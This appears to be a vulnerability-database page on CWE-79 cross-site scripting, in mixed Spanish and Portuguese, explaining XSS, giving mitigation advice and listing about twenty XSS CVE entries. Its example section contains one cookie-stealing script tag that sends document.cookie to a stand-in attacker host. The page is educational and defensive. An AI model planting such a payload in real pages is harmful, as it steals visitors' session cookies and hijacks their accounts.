Fallos del tipo CWE-79

29.761 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-46948MEDIUMA reflected Cross-Site Scripting (XSS) vulnerability was found on Temenos T24 Browser R19.40 that enables a remote attacker to execute arbitEPSS 0.4%CVE-2025-1319HIGHSite Mailer <= 1.2.3 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-11368MEDIUMSplash Sync <= 2.0.7 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-4632MEDIUMWooCommerce Checkout & Funnel Builder by CartFlows – Create High Converting Stores For WooCommerce <= 2.0.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-26266CRITICALAliasVault affected by Cross-Site Scripting (XSS) via Email HTML RenderingEPSS 0.4%CVE-2023-20074MEDIUMMultiple vulnerabilities in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an unauthentiEPSS 0.4%CVE-2024-5062MEDIUMReflected XSS through survey redirect parameter in zenml-io/zenmlEPSS 0.4%CVE-2024-49764MEDIUMLibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.phpEPSS 0.4%CVE-2024-11683MEDIUMNewsletter Subscriptions <= 2.1 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-4333MEDIUMSina Extension for Elementor (Slider, Gallery, Form, Modal, Data Table, Tab, Particle, Free Elementor Widgets & Elementor Templates) <= 3.5.3 - Authenticated (Contributor+) DOM-Based Cross-Site ScriptingEPSS 0.4%CVE-2026-53722MEDIUMNuxt: Reflected XSS in `<NuxtLink>` via unsanitised `javascript:` or `data:` URLEPSS 0.4%CVE-2024-12260MEDIUMUltimate Endpoints With Rest Api <= 2.2.2 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2021-46680MEDIUMVulnerability XSS in module form name fieldEPSS 0.4%CVE-2025-1085MEDIUMAnimati PACS login cross site scriptingEPSS 0.4%CVE-2024-50350MEDIUMLibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.phpEPSS 0.4%CVE-2026-44282MEDIUMElection question titles allow stored script executionEPSS 0.4%CVE-2023-20041MEDIUMMultiple vulnerabilities in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an unauthentiEPSS 0.4%CVE-2022-36783MEDIUMAlgoSec – FireFlow Reflected Cross-Site-Scripting (RXSS)EPSS 0.4%CVE-2026-45025MEDIUMWeGIA: Stored XSS in html/atendido/etapa_processo.phpEPSS 0.4%CVE-2023-50303MEDIUMIBM InfoSphere Information Server cross-site scriptingEPSS 0.4%